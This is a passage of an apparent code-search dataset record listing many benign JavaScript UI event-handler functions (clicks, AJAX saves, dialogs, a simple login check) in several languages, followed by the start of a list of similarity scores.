(evt.target.classList.contains('nav-button')) {\\n let elem = evt.target;\\n gameApp.gameView.changeMenue(elem);\\n }\\n }\",\n \"function iniciar(){ \\r\\n\\tvar botonBuscar = document.getElementById( \\\"botonBuscar\\\" ); \\r\\n\\tbotonBuscar.addEventListener( \\\"click\\\" , botonPresionado, false ); \\r\\n} // fin de la función iniciar \",\n \"function verReservasClick(opcion){\\r\\n let container;\\r\\n let container2;\\r\\n let almacenados;\\r\\n \\r\\n switch (opcion)\\r\\n {\\r\\n \\r\\n case \\\"crucero\\\": \\r\\n //// Cruceros \\r\\n container = document.querySelector('#crucerosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"pasajesCruceros\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = ` vex.defaultOptions.className = 'vex-theme-wireframe'; vex.dialog.open({ message: \\\" + \\\"'Estás a punto de ELIMINAR esta Actividad Complementaria ¿Deseas Continuar?', input: \\\" + '\\\"\\\" + '\\\",' + 'buttons: [$.extend({}, vex.dialog.buttons.YES, {text: \\\"Continuar\\\"}), $.extend({}, vex.dialog.buttons.NO, {text: \\\"Cancelar\\\"})] }); ';\\r\\n console.log(cadena);\\r\\n $(\\\"#sub_contenido\\\").html(cadena);\\r\\n /*\\r\\n url = \\\"view/Administradores/itz_eliminar_actividad\\\";\\r\\n tipo_consulta = \\\"eliminar_actividad\\\";\\r\\n objParametros = {\\r\\n 'actividad' : actividad,\\r\\n 'tipo_consulta' : tipo_consulta\\r\\n };*/\\r\\n break;\\r\\n }//END CASE\\r\\n }//END SWITCH\\r\\n \\r\\n //Se pone un gif mientras se realizan las operaciones AJAX\\r\\n crear_loading_subcontenido();\\r\\n //$(\\\"#sub_contenido\\\").html(\\\"
Espere por favor... \\\");\\r\\n \\r\\n $.ajax({\\r\\n type: 'POST',\\r\\n url: url,//Obtenida de la que está a nivel de función\\r\\n data: objParametros,//Obtenida de la que está a nivel de función\\r\\n success: function(respuesta){//Respuesta es lo que pone PHP en pantalla, prácticamente es traer al PHP si la consulta fue successfuly\\r\\n $(\\\"#contenido\\\").html(respuesta);\\r\\n }//END SUCCESS\\r\\n });//END AJAX\\r\\n}//END FUNCTION\",\n \"function acceder(usuario){\\n console.log(`2. ${usuario} Ahora puedes acceder`)\\n entrar();\\n}\",\n \"function clickHandler(e) {\\n // cleanup the event handlers\\n yesbutton.removeEventListener('click', clickHandler);\\n nobutton.removeEventListener('click', clickHandler);\\n\\n // Hide the dialog\\n screen.classList.remove('visible');\\n\\n // Call the appropriate callback, if it is defined\\n if (e.target === yesbutton) {\\n if (yescallback)\\n yescallback();\\n }\\n else {\\n if (nocallback)\\n nocallback();\\n }\\n\\n // And if there are pending permission requests, trigger the next one\\n if (pending.length > 0) {\\n var request = pending.shift();\\n window.setTimeout(function() {\\n requestPermission(request.message,\\n request.yescallback,\\n request.nocallback);\\n }, 0);\\n }\\n }\",\n \"function gps_permitirConsulta() {\\n if (!consultando) {\\n gps_pausarAutoConsultaAuto();\\n gps_bloquearComponente(\\\"btn_consulta\\\", false);\\n } else {\\n gps_bloquearComponente(\\\"btn_consulta\\\", true);\\n }\\n}\",\n \"function clickBotonMeGusta(selectorDivMeGusta, listID, itemID) {\\n var meGusta = false;\\n var textoBotonLike = $(selectorDivMeGusta + \\\" .botonLike\\\").text();\\n if (textoBotonLike != \\\"\\\") {\\n if (textoBotonLike == \\\"Me gusta\\\") { meGusta = true; }\\n\\n SP.SOD.executeFunc(\\\"sp.js\\\", \\\"SP.ClientContext\\\", function () { \\n var aContextObject = new SP.ClientContext(_spPageContextInfo.webServerRelativeUrl);\\n SP.SOD.executeFunc('reputation.js', 'Microsoft.Office.Server.ReputationModel.Reputation', function () {\\n Microsoft.Office.Server.ReputationModel.Reputation.setLike(aContextObject, listID.substring(1, 37), itemID, meGusta);\\n\\n aContextObject.executeQueryAsync(\\n function () {\\n obtenerCantidadMeGustaItem(selectorDivMeGusta, listID, itemID);\\n }, function (sender, args) {\\n });\\n });\\n });\\n }\\n}\",\n \"clickCheckOutGreenTea() {\\n this.clickElem(this.btnCheckOutGreenTea);\\n }\",\n \"function suivant(){\\n if(active==\\\"idee\\\"){\\n reunion_open();\\n }else if (active==\\\"reunion\\\") {\\n travail_open();\\n }else if (active==\\\"travail\\\") {\\n deploiement_open();\\n }\\n }\",\n \"function miniaturaClick(elemento) {\\n var miniatura = 0;\\n //esto determinara que parametro mandar a la funcion controles();\\n for (var i = 0; i < cantidadElementos; i++) {\\n if (elemento == posicionesMiniaturas[i]) {\\n miniatura = i;\\n }\\n }\\n //aqui se le pasa a controles(); el numero de veces que se moveran las imagenes asi como la dirección (derecha o izquierda)\\n var cantidad = 0;\\n if (elementoActivo < miniatura) {\\n for (var i = elementoActivo; elementoActivo < miniatura; i++) {\\n cantidad = cantidad + 1;\\n controles(\\\"derechaSlider\\\", cantidad, \\\"click\\\");\\n }\\n } else {\\n for (var i = elementoActivo; miniatura < elementoActivo ; i++) {\\n cantidad = cantidad + 1;\\n controles(\\\"izquierdaSlider\\\", cantidad, \\\"click\\\");\\n }\\n }\\n}\",\n \"function eventsAction() {\\n // Despliega la seccion de detalle de información del proyecto\\n $('.projectInformation')\\n .unbind('click')\\n .on('click', function () {\\n $('.invoice__section-finder').css({ top: '-100%' });\\n $('.projectfinder').removeClass('open');\\n\\n let rotate = $(this).attr('class').indexOf('rotate180');\\n if (rotate >= 0) {\\n $('.invoice__section-details').css({\\n top: '-100%',\\n bottom: '100%',\\n });\\n $(this).removeClass('rotate180');\\n } else {\\n $('.invoice__section-details').css({\\n top: '32px',\\n bottom: '0px',\\n });\\n $(this).addClass('rotate180');\\n }\\n });\\n\\n // Despliega la sección de seleccion de proyecto y cliente\\n $('.projectfinder')\\n .unbind('click')\\n .on('click', function () {\\n $('.invoice__section-details').css({\\n top: '-100%',\\n bottom: '100%',\\n });\\n $('.projectInformation').removeClass('rotate180');\\n\\n let open = $(this).attr('class').indexOf('open');\\n if (open >= 0) {\\n $('.invoice__section-finder').css({ top: '-100%' });\\n $(this).removeClass('open');\\n } else {\\n $('.invoice__section-finder').css({ top: '32px' });\\n $(this).addClass('open');\\n }\\n });\\n\\n // Despliega y contrae las columnas de viaje y prueba\\n $('.showColumns')\\n .unbind('click')\\n .on('click', function () {\\n let rotate = $(this).attr('class').indexOf('rotate180');\\n viewStatus = rotate >= 0 ? 'E' : 'C';\\n expandCollapseSection();\\n });\\n\\n // Despliega y contrae el menu de opciones de secciones\\n $('.invoice_controlPanel .addSection')\\n .unbind('click')\\n .on('click', function () {\\n $('.menu-sections').slideDown('slow');\\n $('.menu-sections').on('mouseleave', function () {\\n $(this).slideUp('slow');\\n sectionShowHide();\\n });\\n });\\n\\n // muestra en la cotización la seccion seleccionada\\n $('.menu-sections ul li')\\n .unbind('click')\\n .on('click', function () {\\n let item = $(this).attr('data-option');\\n glbSec = $(this).attr('data-option');\\n $(this).hide();\\n\\n $(`#SC${item}`).show();\\n });\\n\\n // Despliega y contrae el listado de projectos\\n $('.invoice_controlPanel .toImport')\\n .unbind('click')\\n .on('click', function () {\\n let pos = $(this).offset();\\n $('.import-sections')\\n .slideDown('slow')\\n .css({ top: '30px', left: pos.left + 'px' })\\n .on('mouseleave', function () {\\n $(this).slideUp('slow');\\n });\\n\\n fillProjectsAttached();\\n });\\n\\n // Despliega la lista de productos para agregar a la cotización\\n $('.invoice__box-table .invoice_button')\\n .unbind('click')\\n .on('click', function () {\\n let item = $(this).parents('tbody').attr('id');\\n glbSec = item.substring(3,2); // jjr\\n showListProducts(item);\\n });\\n \\n // Elimina la sección de la cotización\\n $('.removeSection')\\n .unbind('click')\\n .on('click', function () {\\n let id = $(this);\\n let section = id.parents('tbody');\\n section.hide().find('tr.budgetRow').remove();\\n sectionShowHide();\\n });\\n\\n // Guarda version actual\\n $('.version__button .toSaveBudget')\\n .unbind('click')\\n .on('click', function () {\\n let boton = $(this).html();\\n let nRows = $(\\n '.invoice__box-table table tbody tr.budgetRow'\\n ).length;\\n if (nRows > 0) {\\n let pjtId = $('.version_current').attr('data-project');\\n glbpjtid=pjtId;\\n let verId = $('.version_current').attr('data-version');\\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\\n\\n if (verId != undefined){\\n modalLoading('S');\\n let par = `\\n [{\\n \\\"pjtId\\\" : \\\"${pjtId}\\\",\\n \\\"verId\\\" : \\\"${verId}\\\",\\n \\\"discount\\\" : \\\"${discount}\\\",\\n \\\"action\\\" : \\\"${interfase}\\\"\\n }]`;\\n console.log('SaveBudget',par);\\n var pagina = 'ProjectPlans/SaveBudget';\\n var tipo = 'html';\\n var selector = putsaveBudget;\\n fillField(pagina, par, tipo, selector);\\n } else{\\n alert('No tienes una version creada, ' + \\n 'debes crear en el modulo de cotizaciones');\\n }\\n }\\n });\\n\\n // Guarda nueva version del presupuesto\\n $('.version__button .toSaveBudgetAs')\\n .unbind('click')\\n .on('click', function () {\\n let boton = $(this).html();\\n let nRows = $(\\n '.invoice__box-table table tbody tr.budgetRow'\\n ).length;\\n if (nRows > 0) {\\n let pjtId = $('.version_current').attr('data-project');\\n glbpjtid=pjtId;\\n // let verCurr = $('.sidebar__versions .version__list ul li:first').attr('data-code');\\n let verCurr = lastVersionFinder();\\n let vr = parseInt(verCurr.substring(1, 10));\\n\\n let verNext = 'R' + refil(vr + 1, 4);\\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\\n let lastmov = moment().format(\\\"YYYY-MM-DD HH:mm:ss\\\"); //agregado por jjr\\n //console.log('FECHA- ', lastmov);\\n if (vr != undefined){ //agregado por jjr\\n modalLoading('S');\\n let par = `\\n [{\\n \\\"pjtId\\\" : \\\"${pjtId}\\\",\\n \\\"verCode\\\" : \\\"${verNext}\\\",\\n \\\"discount\\\" : \\\"${discount}\\\",\\n \\\"lastmov\\\" : \\\"${lastmov}\\\"\\n }]`;\\n\\n var pagina = 'ProjectPlans/SaveBudgetAs';\\n var tipo = 'html';\\n var selector = putSaveBudgetAs;\\n fillField(pagina, par, tipo, selector);\\n } else{\\n alert('No tienes una version creada, ' + \\n 'debes crear en el modulo de cotizaciones');\\n }\\n }\\n });\\n\\n // Edita los datos del proyecto\\n $('#btnEditProject')\\n .unbind('click')\\n .on('click', function () {\\n let pjtId = $('.projectInformation').attr('data-project');\\n editProject(pjtId);\\n });\\n\\n // Agrega nueva cotización\\n $('.toSave')\\n .unbind('click')\\n .on('click', function () {\\n let pjtId = $('.version_current').attr('data-project');\\n let verId = $('.version_current').attr('data-version');\\n promoteProject(pjtId, verId);\\n });\\n // Imprime la cotización en pantalla\\n $('.toPrint')\\n .unbind('click')\\n .on('click', function () {\\n let verId = $('.version_current').attr('data-version');\\n printBudget(verId);\\n });\\n\\n // Busca los elementos que coincidan con lo escrito el input de cliente y poyecto\\n $('.inputSearch')\\n .unbind('keyup')\\n .on('keyup', function () {\\n let id = $(this);\\n let obj = id.parents('.finder__box').attr('id');\\n let txt = id.val().toUpperCase();\\n sel_items(txt, obj);\\n });\\n\\n $('.cleanInput')\\n .unbind('click')\\n .on('click', function () {\\n let id = $(this).parents('.finder__box').children('.invoiceInput');\\n id.val('');\\n id.trigger('keyup');\\n });\\n\\n // Limpiar la pantalla\\n $('#newQuote')\\n .unbind('click')\\n .on('click', function () {\\n window.location = 'ProjectDetails';\\n });\\n\\n // Abre el modal de comentarios\\n $('.sidebar__comments .toComment')\\n .unbind('click')\\n .on('click', function () {\\n showModalComments();\\n });\\n\\n expandCollapseSection();\\n}\",\n \"function ClickAbrir() {\\n var nome = ValorSelecionado(Dom('select-personagens'));\\n if (nome == '--') {\\n Mensagem('Nome \\\"--\\\" não é válido.');\\n return;\\n }\\n var eh_local = false;\\n if (nome.indexOf('local_') == 0) {\\n eh_local = true;\\n nome = nome.substr(6);\\n } else {\\n nome = nome.substr(5);\\n }\\n var handler = {\\n nome: nome,\\n f: function(dado) {\\n if (nome in dado) {\\n gEntradas = JSON.parse(dado[nome]);\\n CorrigePericias();\\n AtualizaGeralSemLerEntradas();\\n SelecionaValor('--', Dom('select-personagens'));\\n Mensagem(Traduz('Personagem') + ' \\\"' + nome + '\\\" ' + Traduz('carregado com sucesso.'));\\n } else {\\n Mensagem(Traduz('Não encontrei personagem com nome') + ' \\\"' + nome + '\\\"');\\n }\\n DesabilitaOverlay();\\n },\\n };\\n HabilitaOverlay();\\n AbreDoArmazem(nome, eh_local, handler.f);\\n}\",\n \"function iniciar(){\\n\\t\\n\\tvar btnOkAlerta = document.getElementById(\\\"okalerta\\\");\\n\\tvar btnWarning = document.getElementById(\\\"okwarning\\\");\\n\\tvar btnSucess = document.getElementById(\\\"oksucess\\\");\\n\\n\\tbtnOkAlerta.addEventListener(\\\"click\\\", function(e){\\n\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\tbtnWarning.addEventListener(\\\"click\\\", function(e){\\n\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\tbtnSucess.addEventListener(\\\"click\\\", function(e){\\n\\t\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\n\\tvar btnEnviar = document.getElementById(\\\"enviar\\\");\\n\\tbtnEnviar.addEventListener(\\\"click\\\", procesarRecarga, false);\\n}\",\n \"function voltarEtapa3() {\\n msgTratamentoEtapa4.innerHTML = \\\"\\\";\\n //recebendo H3 e setando nela o texto com o nome do cliente\\n var tituloDaEtapa = document.querySelector(\\\"#tituloDaEtapa\\\");\\n tituloDaEtapa.textContent = \\\"3º Etapa - Colaborador\\\";\\n\\n document.getElementById('selecionarPacotes').style.display = 'none'; //desabilita a etapa 4\\n document.getElementById('selecionarFuncionarios').style.display = ''; //habilita a etapa 3\\n }\",\n \"function iniciar(){\\n\\t\\t\\tdocument.getElementById(\\\"enviar\\\").addEventListener('click',validar,false);\\n\\t\\t}\",\n \"function habilitarEntradas(){\\n //evento del movimiento del mouse\\n document.addEventListener('mousemove',function(evt){\\n raton.x=evt.pageX-canvas.offsetLeft - 6;\\n raton.y=evt.pageY-canvas.offsetTop - 28;\\n },false);\\n\\n //evento del click del mouse\\n document.addEventListener('mouseup', function(evt){\\n ultimaliberacion=evt.which;\\n },false);\\n //evento del soltar el click del mouse \\n canvas.addEventListener('mousedown',function(evt){\\n evt.preventDefault();\\n ultinaPresion=evt.which;\\n },false);\\n}\",\n \"function checkJawabanUntukuser(e){\\n\\t//hapus tombol cek berhasilan\\n\\tcekKeberhasilan.classList.add('d-none');\\n\\t//tampilkan tombol loading\\n\\tbtn_loading.classList.add('d-block');\\n\\t//menunggu 3 detik\\n\\tsetTimeout(function(){\\n\\t//tarik kembali jendela browser\\n\\twindow.scrollTo(0,0);\\n\\t//cek jawaban ketika ada jawaban yang di pilih salah \\n\\tselainPilihanbenar.forEach(function(jawabanSoalketikaSalah){\\n\\t//jika jawaban ada yang salah tampilkan info kesalahan\\n\\tif(jawabanSoalketikaSalah.checked){\\n\\t//berikan info dan pengertian jawaban pada user\\n\\tinfo_jawaban.forEach(function(tampilkanInfo){\\n\\ttampilkanInfo.classList.add('d-block');\\n\\t});\\n\\t//berikan info kesalahan kepada user\\n\\tinfo_salah.classList.add('d-block');\\n\\t\\t}\\n});\\n\\t\\t\\n\\t//cek jawaban ketika benar\\n\\tjawaban.forEach(function(jawabanSoal){\\n\\t//jika jawaban benar semua tampilkan info\\n\\tif(jawabanSoal.checked){\\n\\t//berikan info dan pengertian jawaban pada user\\n\\tinfo_jawaban.forEach(function(tampilkanInfo){\\n\\ttampilkanInfo.classList.add('d-block');\\n\\t});\\n\\t//berikan info benar kepada user\\n\\tinfo_benar.classList.add('d-block');\\n\\t//jika selain ada jawaban yang salah\\n\\t }else if(jawabanSoal.checked || jawabanSoal.checked == false){\\n\\t //hapus info benar kepada user dan berikan kesalahan jawaban salah\\n\\tinfo_benar.classList.remove('d-block');\\n\\t }\\t\\n\\t });\\n\\t//hilangkan tombol loading\\n\\tbtn_loading.classList.remove('d-block');\\n\\t}, 3000);\\n}\",\n \"function ClickGerarResumo() {\\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\\n var input = Dom(\\\"resumo-personagem-2\\\");\\n input.value = GeraResumo();\\n input.focus();\\n input.select();\\n}\",\n \"function template_eventosFavoritos() {\\n\\t$(\\\".btnBotones.estrella\\\").unbind();\\n\\t$(\\\".btnBotones.estrella\\\").each(function(){\\n\\t\\tvar elemento = $(this);\\n\\t\\t\\n\\t\\t$(this).on({\\n\\t\\t\\tclick: function() {\\n\\t\\t\\t\\tvar tempUrl = \\\"\\\";\\n\\t\\t\\t\\tvar datos;\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (typeof elemento.attr(\\\"data-inmueble\\\") !== 'undefined') {\\n\\t\\t\\t\\t\\ttempUrl = \\\"lib_php/updFavoritoInmueble.php\\\";\\n\\t\\t\\t\\t\\tdatos = {\\n\\t\\t\\t\\t\\t\\tid: elemento.attr(\\\"data-id\\\"),\\n\\t\\t\\t\\t\\t\\tinmueble: elemento.attr(\\\"data-inmueble\\\")\\n\\t\\t\\t\\t\\t};\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\ttempUrl = \\\"lib_php/updFavoritoDesarrollo.php\\\";\\n\\t\\t\\t\\t\\tdatos = {\\n\\t\\t\\t\\t\\t\\tid: elemento.attr(\\\"data-id\\\"),\\n\\t\\t\\t\\t\\t\\tdesarrollo: elemento.attr(\\\"data-desarrollo\\\")\\n\\t\\t\\t\\t\\t};\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t$.ajax({\\n\\t\\t\\t\\t\\turl: tempUrl,\\n\\t\\t\\t\\t\\ttype: \\\"POST\\\",\\n\\t\\t\\t\\t\\tdataType: \\\"json\\\",\\n\\t\\t\\t\\t\\tdata: datos\\n\\t\\t\\t\\t}).always(function(respuesta_json){\\n\\t\\t\\t\\t\\tif (respuesta_json.isExito == 1) {\\n\\t\\t\\t\\t\\t\\tif (parseInt(respuesta_json.id) == 0)\\n\\t\\t\\t\\t\\t\\t\\telemento.removeClass(\\\"activo\\\");\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\telemento.addClass(\\\"activo\\\");\\n\\t\\t\\t\\t\\t\\telemento.attr(\\\"data-id\\\", respuesta_json.id);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\t$(\\\"#template_alertPersonalizado td\\\").text(\\\"Inicia sesión o regístrate para agregar tus inmuebles/desarrollos favoritos.\\\");\\n\\t\\t\\t\\t\\t\\ttemplate_alertPersonalizado();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t});\\n\\t});\\n}\",\n \"function acceder(){\\r\\n limpiarMensajesError()//Limpio todos los mensajes de error cada vez que corro la funcion\\r\\n let nombreUsuario = document.querySelector(\\\"#txtUsuario\\\").value ;\\r\\n let clave = document.querySelector(\\\"#txtClave\\\").value;\\r\\n let acceso = comprobarAcceso (nombreUsuario, clave);\\r\\n let perfil = \\\"\\\"; //variable para capturar perfil del usuario ingresado\\r\\n let i = 0;\\r\\n while(i < usuarios.length){\\r\\n const element = usuarios[i].nombreUsuario.toLowerCase();\\r\\n if(element === nombreUsuario.toLowerCase()){\\r\\n perfil = usuarios[i].perfil;\\r\\n usuarioLoggeado = usuarios[i].nombreUsuario;\\r\\n }\\r\\n i++\\r\\n }\\r\\n //Cuando acceso es true \\r\\n if(acceso){\\r\\n if(perfil === \\\"alumno\\\"){\\r\\n alumnoIngreso();\\r\\n }else if(perfil === \\\"docente\\\"){\\r\\n docenteIngreso();\\r\\n }\\r\\n }\\r\\n}\",\n \"function handleClick() {\\n Swal.fire({\\n title: '¡Atencion!',\\n text: '¿ Esta seguro que desea continuar ?',\\n icon: 'info',\\n confirmButtonText: 'Si',\\n confirmButtonColor: '#00afe1',\\n cancelButtonText: 'Cancelar',\\n showCancelButton: true,\\n allowEnterKey: true,\\n allowEscapeKey: false,\\n allowOutsideClick: false,\\n stopKeydownPropagation: true\\n }).then((result) => {\\n if (result.isConfirmed) {\\n Swal.fire({\\n icon: 'success',\\n title: 'Gracias por confiar en Glavic!',\\n text: 'Estas a un paso de finalizar tu pedido. Te pedimos que valides tus datos en el siguiente formulario para confirmar tu pedido.',\\n confirmButtonText: 'Ok',\\n confirmButtonColor: '#00afe1',\\n });\\n } else if (result.isDenied) {\\n Swal.fire({\\n icon: 'error',\\n title: 'Ups!',\\n text: 'Algo no salio como esperabamos, vuelva a intentar la operacion',\\n timer: 1500\\n });\\n }\\n })\\n }\",\n \"function activarHerramientaPerfil() {\\n console.log(\\\"Activar herramienta perfil\\\");\\n\\n crearYCargarCapaLineaPerfil();\\n activarControlDibujo();\\n\\n\\n}\",\n \"function ejecutaAccion(elemt, type, proyect ){\\n\\tactividadPrevia = true;\\n\\tborradoMultiple = false;\\n\\tcambiandoCategoria = false;\\n\\t\\n\\tif(!$(\\\"#tipoIdentificacion\\\").length){\\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Frente\\\") != (-1)) {\\n\\t\\t\\t\\t$(\\\".cred_image:eq(0) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(0)\\\").addClass(\\\"opacity\\\"); \\n\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Reverso\\\") != (-1)) {\\n\\t\\t\\t\\t$(\\\".cred_image:eq(1) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(1)\\\").addClass(\\\"opacity\\\");\\n\\t\\t\\t} \\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Pasaporte\\\") != (-1)) {\\n\\t\\t\\t\\t console.log($(elemt).closest(\\\"div\\\").text());\\n\\t\\t\\t\\t$(\\\".cred_image:eq(2) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(2)\\\").addClass(\\\"opacity\\\");\\n\\t\\t } \\n\\t}\\n\\t\\n \\n if($(elemt).closest(\\\"form\\\").find(\\\"select\\\").attr(\\\"id\\\") != \\\"type_loan\\\"){\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").val(type);\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").change();\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").blur();\\n \\t$(elemt).closest(\\\"form\\\").find(\\\".custumStlFileUploadPreview input\\\").trigger(\\\"click\\\");\\n }\\n if($(elemt).closest(\\\"form\\\").find(\\\"select\\\").attr(\\\"id\\\") == \\\"type_loan\\\" ){\\n \\tcambiarArchivo(type, \\\"#file_compIncome\\\", \\\"#rubroIngresos\\\");\\t\\n }\\n \\n if($(elemt).closest(\\\"#listCredFm2\\\").length ){\\n \\tconsole.log(\\\"ya entro a tipoIdentificacion\\\");\\n \\t cambiarArchivo(type, \\\"#file_credIdentificacion\\\", \\\"#rubroTipoIdentificacion\\\");\\n \\t//$(element).closest(\\\"frm_loan\\\").find(\\\".btn_comprobante[tipodoc='\\\"+type+\\\"']\\\");\\n }\\n\\n}\",\n \"function _ventanaPlanCuentas718(e) {\\n\\tif (e.type == \\\"keydown\\\" && e.which == 119 || e.type == 'click') {\\n\\t\\t_ventanaDatos({\\n\\t\\t\\ttitulo: \\\"VENTANA CUENTA MAYOR\\\",\\n\\t\\t\\tcolumnas: [\\\"LLAVE_MAE\\\", \\\"NOMBRE_MAE\\\"],\\n\\t\\t\\tdata: $_planCuentas718,\\n\\t\\t\\tcallback_esc: () => { validarCtaTercero718() },\\n\\t\\t\\tcallback: (data) => {\\n\\t\\t\\t\\tlet caja = e.currentTarget.id;\\n\\t\\t\\t\\tif (caja == 'ctaingrTercer_718') {\\n\\t\\t\\t\\t\\tSAL718.MAESTROS.LLAVE_MAE = data.LLAVE_MAE; SAL718.MAESTROS.NOMBRE_MAE = data.NOMBRE_MAE;\\n\\t\\t\\t\\t\\t$('#ctaingrTercer_718').val(data.LLAVE_MAE.toString().trim())\\n\\t\\t\\t\\t\\t$('#ctaDescripTercer_718').val(data.NOMBRE_MAE.toString().trim())\\n\\t\\t\\t\\t\\tvalidarTercero718();\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tswitch ($_USUA_GLOBAL[0].PUC) {\\n\\t\\t\\t\\t\\t\\tcase '1': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '2': document.getElementById('codCoop_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '3': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '4': document.getElementById('codOficial_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '6': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tdefault: document.getElementById('codPuc_718').value = SAL718.MAESTROS.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tvalidarDivision718();\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\\n}\",\n \"function selectButton(e){\\n \\t//A Player vamos agregando en el array las Posicion(o seas el Turno de los Players)\\n \\tvar currentPlayer = listPlayers[turno];\\n \\tif(hasPositionByButton(e)){\\n\\t \\tcurrentPlayer.addNewPosition(e);\\n\\t \\t//Que imprima en el input el turno que le toca\\n\\t \\tsetTurnOnView();\\n\\t \\t//Para Dibujar en el Button\\n\\t \\tdrawButton(e);\\n\\t \\t//Para Validar si hay un ganador\\n\\t \\tValidateWinner(currentPlayer); \\t\\n\\t //Cambiamos el Turno, al que le toca\\n\\t changeTurn();\\n\\t }\\n }\",\n \"function setTunnetutMouseAction() {\\n let tunnetut = document.getElementsByClassName(\\\"tunnettu sana\\\");\\n if (tunnetut != undefined && tunnetut != null && tunnetut.length > 0) {\\n for (let el of tunnetut) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut2 = document.getElementsByClassName(\\\"tunnettu sana vinkki\\\");\\n if (tunnetut2 != undefined && tunnetut2 != null && tunnetut2.length > 0) {\\n for (let el of tunnetut2) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut4 = document.getElementsByClassName(\\\"tunnettu vinkki sana\\\");\\n if (tunnetut4 != undefined && tunnetut4 != null && tunnetut4.length > 0) {\\n for (let el of tunnetut4) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut3 = document.getElementsByClassName(\\\"fade-in tunnettu sana\\\");\\n if (tunnetut3 != undefined && tunnetut3 != null && tunnetut3.length > 0) {\\n for (let el of tunnetut3) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n return true;\\n}\",\n \"function falso(v) {\\n\\n boton.disabled = false;\\n\\n boton.addEventListener(\\\"click\\\", function () {\\n isNotTrue(v);\\n\\n boton.style.display = \\\"none\\\";\\n });\\n\\n}\"\n]"},"negative_scores":{"kind":"list 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\"0.6638013\",\n \"0.661474\",\n \"0.65913135\",\n \"0.6577645\",\n \"0.6461949\",\n \"0.6403069\",\n \"0.6400792\",\n \"0.6325191\",\n \"0.6247681\",\n \"0.6090469\",\n \"0.60621065\",\n \"0.60539836\",\n \"0.605245\",\n \"0.6049288\",\n \"0.5998921\",\n \"0.598902\",\n \"0.5986557\",\n \"0.59647393\",\n \"0.59558606\",\n \"0.5948739\",\n \"0.5946089\",\n \"0.5931384\",\n \"0.5916781\",\n \"0.5911943\",\n \"0.5903223\",\n \"0.5897843\",\n \"0.5892306\",\n \"0.5878854\",\n \"0.5878372\",\n \"0.58614826\",\n \"0.58452827\",\n \"0.5843552\",\n \"0.58341545\",\n \"0.5784019\",\n \"0.5780395\",\n \"0.5774039\",\n \"0.5752498\",\n \"0.57515126\",\n \"0.5739782\",\n \"0.57374597\",\n \"0.57363254\",\n \"0.5730283\",\n \"0.572686\",\n \"0.5700673\",\n \"0.56957746\",\n \"0.5689789\",\n \"0.5689136\",\n \"0.5681209\",\n \"0.5667153\",\n \"0.5660764\",\n \"0.56602544\",\n \"0.5658503\",\n \"0.5653845\",\n \"0.56520134\",\n \"0.5648936\",\n \"0.56480515\",\n \"0.56332034\",\n \"0.5631394\",\n \"0.56283313\",\n \"0.5616808\",\n \"0.5610146\",\n \"0.56046194\",\n \"0.5601499\",\n \"0.559757\",\n \"0.5592332\",\n \"0.55889535\",\n \"0.55826914\",\n \"0.557403\",\n \"0.55605423\",\n \"0.55584306\",\n \"0.55490834\",\n \"0.5549048\",\n \"0.5536302\",\n \"0.55354655\",\n \"0.553206\",\n \"0.55304146\",\n \"0.55271566\",\n \"0.55239534\",\n \"0.55183774\",\n \"0.55069304\",\n \"0.550687\",\n \"0.5505898\",\n \"0.5499376\",\n 